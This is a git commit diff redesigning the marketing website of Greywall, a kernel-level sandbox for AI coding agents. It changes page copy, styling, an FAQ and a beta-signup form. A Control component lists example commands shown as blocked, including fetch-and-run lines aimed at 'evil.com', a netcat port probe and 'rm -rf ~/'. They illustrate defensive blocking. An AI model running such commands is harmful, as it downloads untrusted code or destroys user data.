feat: new design

This commit is contained in:
Nik L
2026-04-13 13:09:46 -04:00
parent 14fcaea830
commit b2879e1a5e
34 changed files with 573 additions and 608 deletions

View File

@@ -1,39 +1,29 @@
import { Users } from 'lucide-react'
export function About() {
return (
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<Users className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
About
</span>
</div>
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-4">
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
We built it for ourselves, then open-sourced it.
</h2>
</div>
<div className="max-w-3xl space-y-4 text-muted-foreground font-serif text-lg leading-relaxed">
<div className="max-w-3xl space-y-4 text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
<p>
Greywall was built by{' '}
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
where we build custom{' '}
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
We needed kernel-enforced sandboxing with real-time visibility. Nothing existed, so we built it.
We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.
</p>
<p>
It runs in our production deployments every day. We open-sourced it because the security
layer around your tools should be independent of the company selling you the AI.
We actively maintain it and ship updates regularly.
It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.
</p>
</div>
{/* Team */}
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-8">
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-8">
The people behind it.
</h3>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
@@ -52,7 +42,7 @@ export function About() {
/>
<div>
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
<div className="text-xs text-primary font-sans font-medium">CEO & Founder, Greyhaven</div>
<div className="text-xs text-muted-foreground font-sans font-medium">CEO & Founder, Greyhaven</div>
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
</p>
@@ -73,7 +63,7 @@ export function About() {
/>
<div>
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
<div className="text-xs text-primary font-sans font-medium">Technical Product Lead</div>
<div className="text-xs text-muted-foreground font-sans font-medium">Technical Product Lead</div>
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
</p>
@@ -94,7 +84,7 @@ export function About() {
/>
<div>
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
<div className="text-xs text-primary font-sans font-medium">Senior Team Lead</div>
<div className="text-xs text-muted-foreground font-sans font-medium">Senior Team Lead</div>
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
</p>
@@ -104,13 +94,11 @@ export function About() {
</div>
<div className="border-t border-border/30 pt-16">
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">
Need more than sandboxing?
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-4">
Need the rest of the system?
</h3>
<p className="text-muted-foreground font-serif text-lg leading-relaxed max-w-2xl mb-8">
Greywall is one piece of a larger platform. For enterprises that need sovereign AI
infrastructure, private model deployment, and end-to-end agent orchestration,
Greyhaven builds custom solutions on your terms.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mb-8">
Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.
</p>
<a
href="https://greyhaven.co/contact"

View File

@@ -1,5 +1,4 @@
import Image from 'next/image'
import { CheckCircle2 } from 'lucide-react'
const agents = [
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
@@ -19,18 +18,14 @@ export function Agents() {
<section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<CheckCircle2 className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Compatibility
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Compatibility
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Works with every agent.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
All agents work perfectly inside their sandbox but can&apos;t impact anything outside
it. No agent-specific configuration needed.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.
</p>
</div>

109
components/beta-signup.tsx Normal file
View File

@@ -0,0 +1,109 @@
'use client'
import { useState, type FormEvent } from 'react'
import { Check } from 'lucide-react'
import { CTAButton } from './cta-button'
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
type BetaSignupProps = {
subject: string
message: string
buttonClassName?: string
submitClassName?: string
inputClassName?: string
helperTextClassName?: string
successClassName?: string
errorClassName?: string
formClassName?: string
wrapperClassName?: string
}
export function BetaSignup({
subject,
message,
buttonClassName = '',
submitClassName = '',
inputClassName = '',
helperTextClassName = 'text-xs text-muted-foreground/60 font-serif',
successClassName = 'inline-flex items-center gap-2 rounded-md border border-primary/20 bg-primary/[0.05] px-5 py-2.5 font-sans text-sm text-primary font-medium',
errorClassName = 'text-xs text-red-400/80 font-sans text-center',
formClassName = 'flex items-center gap-2',
wrapperClassName = 'flex flex-col items-center gap-2',
}: BetaSignupProps) {
const [mode, setMode] = useState<Mode>('button')
const [email, setEmail] = useState('')
const [error, setError] = useState('')
async function onSubmit(e: FormEvent<HTMLFormElement>) {
e.preventDefault()
if (mode === 'submitting') return
setMode('submitting')
setError('')
try {
const res = await fetch('https://api.web3forms.com/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
},
body: JSON.stringify({
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
subject,
from_name: 'Greywall waitlist',
email,
message,
botcheck: '',
}),
})
const data = await res.json()
if (data.success) {
setMode('success')
setEmail('')
} else {
setMode('error')
setError(data.message || 'Something went wrong. Try again?')
}
} catch {
setMode('error')
setError('Network error. Try again?')
}
}
return (
<div className={wrapperClassName}>
{mode === 'button' && (
<CTAButton onClick={() => setMode('input')} className={buttonClassName}>
Join closed beta
<span aria-hidden="true"></span>
</CTAButton>
)}
{(mode === 'input' || mode === 'submitting') && (
<form onSubmit={onSubmit} className={formClassName}>
<input
type="email"
required
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
autoFocus
className={inputClassName}
/>
<CTAButton type="submit" disabled={mode === 'submitting'} className={submitClassName}>
{mode === 'submitting' ? '...' : 'Join'}
</CTAButton>
</form>
)}
{mode === 'success' && (
<div className={successClassName}>
<Check className="h-4 w-4" />
You&apos;re on the list.
</div>
)}
{mode === 'error' && <p className={errorClassName}>{error}</p>}
<p className={helperTextClassName}>One note when access opens.</p>
</div>
)
}

View File

@@ -1,6 +1,6 @@
'use client'
import { ArrowRight, Check, X, Minus } from 'lucide-react'
import { Check, X, Minus } from 'lucide-react'
type CellValue = 'yes' | 'no' | 'partial' | string
@@ -138,18 +138,14 @@ export function Comparison() {
<section id="comparison" className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<ArrowRight className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
How it compares
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Not all sandboxes are equal.
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
How it compares
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Different tools enforce different boundaries.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Greywall combines filesystem isolation, network control, syscall filtering,
and real-time monitoring in a single tool. Here&apos;s how it stacks up.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
Greywall combines filesystem controls, network controls, command blocking, and runtime visibility in one local tool.
</p>
</div>
@@ -161,7 +157,7 @@ export function Comparison() {
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature
</th>
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-foreground">
Greywall
</th>
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">

View File

@@ -1,6 +1,6 @@
'use client'
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const tree = [
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
}
function badgeClasses(color: string) {
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
return 'bg-red-400/10 text-red-400/70'
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
return 'bg-red-50 text-red-600'
}
function textColor(color: string) {
if (color === 'green') return 'text-green-400/80'
if (color === 'yellow') return 'text-yellow-400/70'
return 'text-red-400/70'
if (color === 'green') return 'text-emerald-600'
if (color === 'yellow') return 'text-amber-600'
return 'text-red-500'
}
export function Control() {
@@ -41,18 +41,14 @@ export function Control() {
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<ShieldCheck className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Control
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
Control
</span>
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Default deny. Explicit allow.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Agents inherit your full permissions. Greywall flips this: nothing is accessible
unless explicitly granted. Filesystem, network, and commands all start closed.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
</p>
</div>
<PlatformToggle />
@@ -60,9 +56,9 @@ export function Control() {
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<FolderLock className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-xs sm:text-sm">
@@ -78,15 +74,14 @@ export function Control() {
))}
</div>
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
are always protected, even inside allowed directories.
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
</p>
</div>
{/* Network isolation */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<Wifi className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
</div>
{platform === 'linux' ? (
@@ -98,31 +93,29 @@ export function Control() {
<div className="font-mono text-xs space-y-1">
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
</div>
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
<span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
<span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Full network namespace isolation. The process can&apos;t see the host network.
Every packet hits the TUN device and routes through GreyProxy, including
binaries that ignore proxy env vars.
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
</p>
</div>
) : (
@@ -132,12 +125,12 @@ export function Control() {
Generated Seatbelt policy
</div>
<div className="font-mono text-xs space-y-1">
<div className="text-red-400/70">(deny default)</div>
<div className="text-red-300">(deny default)</div>
<div className="text-muted-foreground">(deny network-outbound)</div>
<div className="text-green-400/70">
<div className="text-emerald-300">
(allow network-outbound
</div>
<div className="text-green-400/70 ml-4">
<div className="text-emerald-300 ml-4">
(remote tcp &quot;localhost:43051&quot;))
</div>
</div>
@@ -145,70 +138,69 @@ export function Control() {
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
All outbound traffic is blocked at the kernel. Only the proxy address is
reachable. GreyProxy then applies domain-level allow/deny rules.
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
</p>
</div>
)}
</div>
{/* Command blocking */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<Ban className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">git push origin main</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">npm publish</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
Detects blocked commands in pipes, chains, and nested shells.
Block rules still apply inside pipes, chains, and nested shells.
</p>
</div>
{/* Learning mode */}
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<GraduationCap className="h-5 w-5 text-foreground" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
</div>
<div className="code-block p-4 mb-4">
@@ -239,8 +231,8 @@ export function Control() {
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
{platform === 'linux'
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
</p>
</div>
</div>
@@ -248,8 +240,7 @@ export function Control() {
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
The security layer around your AI tools should be independent of the company selling you
the AI, for the same reason you shouldn&apos;t let a bank audit itself.
The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
</p>
</div>
</div>

38
components/cta-button.tsx Normal file
View File

@@ -0,0 +1,38 @@
import type { ReactNode } from 'react'
type CTAButtonProps = {
children: ReactNode
className?: string
type?: 'button' | 'submit'
href?: string
onClick?: () => void
disabled?: boolean
}
const baseClassName =
'bg-primary text-serif text-[12px] md:text-[15px] leading-[140%] tracking-[-0.02em] font-semibold flex items-center gap-2 text-white! px-4 py-3 rounded-md transition-all duration-150 shadow-md hover:shadow-lg'
export function CTAButton({
children,
className = '',
type = 'button',
href,
onClick,
disabled = false,
}: CTAButtonProps) {
const fullClassName = `${baseClassName} ${disabled ? 'cursor-not-allowed opacity-50' : ''} ${className}`.trim()
if (href) {
return (
<a href={href} className={fullClassName}>
{children}
</a>
)
}
return (
<button type={type} onClick={onClick} disabled={disabled} className={fullClassName}>
{children}
</button>
)
}

View File

@@ -1,43 +1,43 @@
'use client'
import { useState } from 'react'
import { HelpCircle, ChevronDown } from 'lucide-react'
import { ChevronDown } from 'lucide-react'
const faqs = [
{
question: 'What is Greywall?',
answer:
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> and it enforces a default-deny security policy at the kernel level. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
'Greywall is a command-line tool for running AI agents inside a contained local boundary. Prefix the agent command with <code>greywall --</code> and Greywall applies deny-by-default controls for filesystem access, network access, and blocked commands at the OS layer. It works on Linux and macOS and is open source under Apache 2.0.',
},
{
question: 'How do I sandbox my AI coding agent?',
answer:
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the GreyProxy dashboard.',
'Install Greywall, then prefix the command you already use: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or another local CLI agent. Greywall operates below the agent, so it does not need plugins or agent-specific configuration. If you want to inspect what the agent attempted, open the GreyProxy dashboard.',
},
{
question: 'How is Greywall different from running agents in Docker?',
answer:
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
'Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment while enforcing boundaries around what it can read, write, execute, or reach on the network. It also records denied operations and live requests, which a basic container setup does not provide by itself.',
},
{
question: 'Does Greywall work on macOS?',
answer:
'Yes. On macOS, Greywall uses Seatbelt Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a deny-by-default sandbox profile for each session, covering filesystem access, network connections, and IPC. Network traffic is routed through GreyProxy via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
'Yes. On macOS, Greywall uses Seatbelt, Apple&apos;s built-in sandbox facility. It generates a deny-by-default profile per session for filesystem access, network connections, and IPC. Linux has more available layers, but the macOS path still provides strong local containment using built-in OS capabilities.',
},
{
question: 'Is Greywall open source?',
answer:
'Yes. Apache 2.0 license, source code on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a security tool, this is not a philosophical position so much as a practical necessity. You should be able to read the code that stands between an AI agent and your production credentials. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a>, who use it in their own production deployments. As the saying goes — never trust a lock you cannot pick apart.',
'Yes. Greywall is released under Apache 2.0 and the source is available on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a> and used in production deployments.',
},
{
question: 'What kernel version does Linux require?',
answer:
'The minimum is Linux 3.8 for namespace isolation via Bubblewrap. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects what your system supports at runtime and activates every available layer. If you are on a reasonably modern distribution — anything from the last few years — you will get all five layers. Run <code>greywall --linux-features</code> to see what is available. The tool degrades gracefully rather than refusing to start, which is a courtesy more software should extend.',
'Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run <code>greywall --linux-features</code> to inspect the result.',
},
{
question: 'Which AI agents does Greywall support?',
answer:
'All of them. Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot anything that runs as a process on your machine. Greywall does not need agent-specific configuration because it operates at the OS level, below the agent. The agent does not know it is sandboxed, which is, in a way, the whole point. It simply discovers that certain operations fail, adapts, and carries on with its work. Most of the time, this is exactly what you wanted it to do in the first place.',
'Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.',
},
]
@@ -93,13 +93,7 @@ export function FAQ() {
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<HelpCircle className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Questions
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
Frequently asked.
</h2>
</div>

View File

@@ -1,21 +1,14 @@
import { GreywallLogo } from './logo'
export function Footer() {
return (
<footer className="py-12 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
<div className="mx-auto flex w-full max-w-[1480px] flex-col items-center justify-between gap-4 sm:flex-row">
<div className="flex items-center gap-2">
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
</svg>
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
<GreywallLogo size="small" />
<span className="text-sm text-muted-foreground font-sans">by Greyhaven</span>
</div>
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
<div className="flex items-center gap-6 text-sm text-muted-foreground font-sans">
<a
href="https://github.com/GreyhavenHQ/greywall"
target="_blank"

View File

@@ -1,7 +1,7 @@
'use client'
import { useState } from 'react'
import { Download, Copy, Check } from 'lucide-react'
import { Copy, Check } from 'lucide-react'
const methods = [
{
@@ -44,7 +44,7 @@ function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
title="Copy to clipboard"
>
{copied ? (
<Check className="h-4 w-4 text-primary" />
<Check className="h-4 w-4 text-muted-foreground" />
) : (
<Copy className="h-4 w-4" />
)}
@@ -58,17 +58,11 @@ export function GettingStarted() {
return (
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl text-center">
<div className="flex items-center justify-center gap-2 mb-4">
<Download className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Getting started
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Install in one command.
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
Start with the CLI.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed mb-10">
Wrap any agent and it runs sandboxed.
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground mb-10">
Install Greywall, then prefix the agent command you already use.
</p>
<div className="mx-auto max-w-2xl text-left space-y-6">

View File

@@ -1,121 +1,58 @@
'use client'
import { BetaSignup } from './beta-signup'
import { useState, FormEvent } from 'react'
import { Check } from 'lucide-react'
const badges = [
